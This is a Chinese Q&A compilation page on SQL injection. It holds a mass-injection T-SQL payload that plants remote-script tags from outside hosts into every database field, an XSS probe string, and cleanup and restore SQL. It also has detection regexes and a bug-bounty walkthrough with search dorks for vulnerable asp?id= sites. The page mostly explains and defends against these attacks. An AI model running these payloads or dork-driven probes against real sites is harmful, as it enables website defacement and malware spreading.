当前位置：首页 » 编程语言 » sql注入src
扩展阅读
提分平台的账号密码是什么 2023-08-31 22:07:10
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

sql注入src

发布时间: 2023-03-15 03:07:10

㈠ sql注入语句

没编什么码
就直接转换成ascii就行了
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''</title><script src=http://asa.ss.la/1.js></script>''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor
总体思想就是把你的html代码里插入一段js
js来自http://asa.ss.la/1.js

㈡ 如何在一条UPDATE查询中实现SQL注入

跟往常一样，在喝完我最爱的果汁饮料之后，我会习惯性地登录我的Synack账号，然后选择一个应用来进行渗透测试，此时我的“黑客之夜”便正式开始了。
我与很多其他的安全研究人员的习惯一样，我会在待测试目标中随机选择测试点来加载我的XSS Payload（我通常会使用’”><img src=x onerror=alert(2) x=来作为Payload，注：开头是一个单引号）。在测试的过程中，我的这个Payload让其中一个测试点返回了一个“500 error”，错误信息提示为“系统遇到了一个SQL错误”，看到了这条错误信息之后，我瞬间就兴奋起来了，因为凭我之前的经验来看，这里很有可能存在一个SQL注入漏洞。
根据系统返回的错误信息来看，错误内容就是我的“用户全名（Full Name）”，所以我赶紧切回刚才的测试界面，然后用test‘test再次进行了一次测试，而此时系统返回的是与刚才一模一样的错误内容，这也就意味着引起系统发生错误的“罪魁祸首”就是Payload中的那个单引号。
了解到这一关键信息之后，我意识到这个应用中所使用的SQL查询语句并没有对单引号进行转义，所以我打算输入两个单引号来看看会发生什么事。所以我这一次输入的是test”test，使我感到震惊的是，这一次系统并没有提示任何的错误信息，但是我的用户全名变成了test’test！

由于这个存在注入点的文本域是用来编辑用户全名（FullName）的，所以我猜这个存在漏洞的查询语句为UPDATE查询。于是我将我的全名改为了’+@@VERSION +’，然后重新加载页面之后，我的用户全名就变成了5.6，而不出意外的话，这个5.6代表的就是后台MySQL数据库的版本号了。
需要注意的是，页面发送的是JSON请求，所以这里的“+”代表的并不是空格符（%20）。

㈢ 寻求高手破解sql语句，sql注入防止方法！！

我来告诉你！
因为刚好攻击我们的代码也跟这类似
这段代码是由字符串转为16进制代码而生成的。
你只要找个工具转回来就全明白了

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://3loves.cn/k.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

这回看明白了吧
他利用你的数据库连接用户权限过高的漏洞
通过创建动态sql，把你当前库的所有数据表和字段调出来，然后遍历所有表和字段，把那段<script src=http://3loves.cn/k.js></script>代码更新进去。

那么如何防止：
1、在你的脚本程序里禁止外部提交
2、对SQL注入做处理
3、降低数据库连接用户的权限

㈣ 360提示SQL注入盲注，请看文件，哪里错误了呢

是在这个语句上:
Rs.source = "select * from Company where ID="&ID&""
在这个语句中，直接将浏览器端传回的字串作为ID值了。如果浏览器返回的ID字串为1 OR 1 = 1，那么查询的select语句就变成了select * from Compay where ID = 1 OR 1 = 1，该查询的条件就永远为TRUE了。这里就存在SQL注入风险。

㈤ 网站数据库被SQL注入后应该怎么办

之前做过了一个网站，由于没有对页面参数进行验证，挂上去没多长时间就被人挂马了，数据库的每个表每个字段内容里都被注入了一段代码，什么在数据库中还新建了自己的表，真是太嚣张了，但是这么多内容是不可能手动去删除的，解决过程如下

一、首先删除数据库被注入的代码

如统一删除<script src=http://3b3.org/c.js> </script> （此适用于sql server）

DECLAREhCForEachCURSORGLOBAL
FOR
SELECTN'update'+QUOTENAME(o.name)
+N'set'+QUOTENAME(c.name)+N'=replace(CAST('+QUOTENAME(c.name)+'asvarchar(8000)),''<scriptsrc=http://3b3.org/c.js></script>'','''')'
FROMsysobjectso,syscolumnsc,systypest
WHEREo.id=c.id
ANDOBJECTPROPERTY(o.id,N'IsUserTable')=1
ANDc.xusertype=t.xusertype
AND(t.name='varchar'ort.name='ntext')
EXECsp_MSforeach_Worker@command1=N'?'

注意这样删除之后 ntext字段将被截断成8000个字符 导致数据丢失，当然其实在sql注入之前这种字段属性已经被截断了，所以在删除这些之后还要进行数据恢复但是 网站被挂马往往是随机的不知道什么时候 我们可能没有做及时的备份，无法恢复

这时候我们可以考虑从数据库日志进行恢复

1，如果误操作之前存在一个全库备份（或已有多个差异备份或增量备份），首先要做的事就是进进行一次日志备份（如果为了不让日志文件变大而置trunc. log on chkpt.选项为1那你就死翘了）

backuplogdbNametodisk='fileName'

2，恢复一个全库备份，注意需要使用with norecovery，如果还有其他差异或增量备份，则逐个恢复

restoredatabasedbNamefromdisk='fileName'withnorecovery

3，恢复最后一个日志备份即刚做的日志备份，指定恢复时间点到误操作之前的时刻

restorelogdbNamefromdisk='fileName'
withstopat='date_time'

最后就是把网站的漏洞补上 对参数进行过滤

㈥ 如何检测SQL注入和CSS攻击漏洞

对于他们的攻击，主要是通过使用正则表达式来做输入检测：

  1. 检测SQL meta-characters的正则表达式 ：/(\%27)|(’)|(--)|(\%23)|(#)/ix

    1. 解释:我 们首先检查单引号等值的hex，单引号本身或者双重扩折号。

  2. 修正检测SQL meta-characters的正则表达式： /((\%3D)|(=))[^ ]*((\%27)|(’)|(--)|(\%3B)|(:))/i

    1. 解释: 这个规则首先留意 = 号或它的hex值(%3D)，然后考虑零个或多个除换行符以外的任意字符，最后检测单引号，双重破折号或分号。

  3. 典型的 SQL 注入攻击的正则表达式： /w*((\%27)|(’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix

    解释:

    1. w* - 零个或多个字符或者下划线。

    2. (\%27)|’ - 单引号或它的hex等值。

    3. (\%6 F)|o|(\%4 F))((\%72)|r|-(\%52) －‘or’的大小写以及它的hex等值

  4. 检测SQL注入，UNION查询关键字的正则表达式: /((\%27)|(’))union/ix

    1. (\%27)|(’) - 单引号和它的hex等值

    2. union - union关键字

    3. 可以同样为其他SQL查询定制表达式，如 >select, insert, update, delete, drop, 等等.

  5. 检测MS SQL Server SQL注入攻击的正则表达式: /exec(s|+)+(s|x)pw+/ix

    1. exec - 请求执行储存或扩展储存过程的关键字

    2. (s|+)+ - 一个或多个的空白或它们的http等值编码

    3. (s|x) p- ‘sp’或‘xp’字母用来辨认储存或扩展储存过程

    4. w+ - 一个或多个字符或下划线来匹配过程的名称


CSS的检测也主要是正则表达式：

  • 一般 CSS 攻击的正则表达式: /((\%3C)|<)((\%2F)|/)*[a-z0-9\%]+((\%3E)|>)/ix

    • 解释:

    • ((\%3C)|<) －检查<和它hex等值

    • ((\%2F)|/)*－结束标签/或它的 hex等值

    • [a-z0-9\%]+ －检查标签里的字母或它hex等值

    • ((\%3E)|>) －检查>或它的hex等值

  • "<img src" CSS 攻击正则表达式: /((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))[^ ]+((\%3E)|>)/I

    • 解释:

    • (\%3 C)|<) -<或它的hex等值

    • (\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47) -’img’字母或它的大小写hex等值的变化组合

    • [^ ]+ -除了换行符以外的任何跟随<img的字符

    • (\%3E)|>) ->或它的hex等值

  • CSS 攻击的极端的正则表达式 ： /((\%3C)|<)[^ ]+((\%3E)|>)/I

    • 解释:

    • 这个规则简单寻找<+除换行符外的任何字符+>。由于你的web服务器和web应用程序的构架，这个规则可能产生一些错误。但它能保证捉住任何CCS或者类似CSS的攻击。

㈦ 一个完整挖洞/src漏洞实战流程【渗透测试】

只要搞渗透，不就会听到很多行业内人前辈一直在重复:“信息搜集” 信息搜集有多重要，你搜集的到的多少资产信息，决定了你后续进行的一系列实战到什么程度!

要说SQL注入的漏洞咋找，逻辑漏洞咋找，支付漏洞咋找，越权漏洞咋找，等等

实这都一个道理，用谷歌语法，找通杀用fofa,这里演示几个类型的漏洞，其它的也是一个道理。

第一个: SQL注入漏洞
AS:首先是SQL注入的，这个漏洞说实话，基本就是谷歌语法找的快,

语法: inurl:asp?id=23公司，这时候你会问:不是inurl:asp?id= 就行了吗，当然!

这可以!如果你想找到一些奇奇怪怪的站可以用这个，比如:

这时候明白接公司的重要性了吧，这里找的是asp的站，为啥找asp的站?

其中一一个最重要的原因就是因为他，好挖!

当然这里只是找了一小部分站点的， 如果突然发现重复了咋办?

这个简单，换个id就行了同学!

inurl:asp?id-34公司，这里的id 值不断的变变变就行了，你们也可以对比一下

这是不是就不一样了，当然如果有兴趣的话，也可以搜搜inurl :php?id=12公司

这也是可以找到很多站的，不过加WAF的几率很大

我找了10个9个都加过,所以说要想上分上的快，asp 的站绝对不能落下!

这里我就不多叙述，因为这站好找，真的特别好找，但是要想能弱密码进去的却很少

直接上镜像站一放inurl:什么牛鬼蛇神都出来了，这后台管理的站可以说是非常多了

当然如果不想找到国外其它奇奇怪怪的站点的话，建议加个关键词公司

可以看到这里一堆后台,当然要渗透这些后台弱密码很少能进去了

你看到我打inur1: 它自动给我补齐关键词了吗，说明这玩意很多人挖

一般搞后台，先信息收集,这个等会说，反正我是没搞到过几个

这种漏洞咋找?商城，积分商城。
试试谷歌语法: info:商城AND积分商城

这不全是商城吗，当然对于一些大厂， 建议不要去搞

因为防护也会比一般的站点比较严格,况且现在做在线网上商城的站点也很少了

其实可以在漏洞挖掘的时候注意一下站点是否有paypal这个功能，有的话，可以搞一搞的，这还是有搞头的

再来就是逻辑漏洞，比如说平行，垂直越权，任意密码重置啊什么的。这类漏洞还是很多的，大家也可以去慢慢测的!

最后一个,通杀的漏洞咋找?

这时候就是要靠我们万能的fofaQ了，首先我们要知道有哪些cms有漏洞

这里大家可以去找网上的漏洞库,里面- -般都会有漏洞合集和这里我稍后会给大家推荐一两个

看到没有，就是这么多cms，杀一个准，上分必备漏洞

不过有些重复提交了，可以给你们看看学员们的战果!

当然，重复了几个，但还是相当不错了。

看完开头,相信你已经知道怎么找漏洞了，那我们就说说漏洞如何挖掘，这里分事件型和通用型漏洞

首先来的，肯定是我们的sq1注入了，首先使用我们的通用语法inurl:asp?id=xx 公司

直接点进去，不要害怕，只要不违法，咱不干坏事就行

看到报错了,说明啥，说明可能存在注入啊朋友,直接and 1=1 |and 1=2插进去

经过一番寻找,我们来到了这个网站:

看到网站直接插单引号，看他报不报错

看到效果十分明显，这种情况直接丢sqlmap9 ,反正我是丢的sqlmap ， 大家如果时间充足的话可以上手

下一个站,这个站存在的漏洞是任意密码重置和CSRF漏洞
首先是CSRF漏洞，相信不用我说你们也应该会了，这里就是这点出现漏洞

你们可以自己去测测，这里说我主要说的是任意密码重置漏洞
（这个漏洞现在也已经被修复了)

在这一步的时候， 抓个包

这里再改成自己的邮箱，这样自己的邮箱就能接收到验证链接，直接点击就好

看到这里，支付漏洞 和验证码绕过之类的逻辑漏洞是不是感觉+分的好挖，有没有这种感觉!

这里类型比较多，篇幅太长不好阅读。举例这两种做参考~

三、提交报告
例如.com发现了SQL注入
第一步:“标题”和“厂商信息”和“所属域名”
站长工具icp.chinaz.com/.co...
查询域名备案信息，看到这个公司名了吗

这样写
漏洞类别啥的，如果不是0day的话，像图中一样就行了

所属域名要写该公司的“网站首页”或者“官网”
看到这个了吗

漏洞类型: -般都是Web漏洞，然后漏洞是什么写什么，这里是一个SQL注入。

漏洞等级: SQL注入-般都是高危，但如果厂商比较小的话，会降级，降成中危。

漏洞简述:描述一下SQL注入是什么、 有什么危害之类的。

漏洞url:出现漏洞的URL。

影响参数:哪个参数可以注入就写哪个

漏洞POC请求包: Burp抓个包复制粘贴。

如果你嫌每次打字麻烦，可以新建一个记事本， 把框架写好,提交的时候替换一些内容就可以了。

把标题、漏洞简述、复现步骤、修复方案，把标题、漏洞简述、复现步骤、修复方案，可以省不少时间!

今天的内容虽然偏长，但是都是干货呀!从找漏洞到提交直接一步到位! 安排的明明白白!

注:任何未经授权的渗透都是违法行为，咱们挖SRC,担心会违法，记住一点， 点到为止，不要动里面的数据，发现漏洞之后，尽快提交漏洞，联系厂商进行修复。

阅读全文

与sql注入src相关的内容

本站内容整理源于互联网，如有问题请联系解决。
Copyright design: www.gotrillian.com since 2022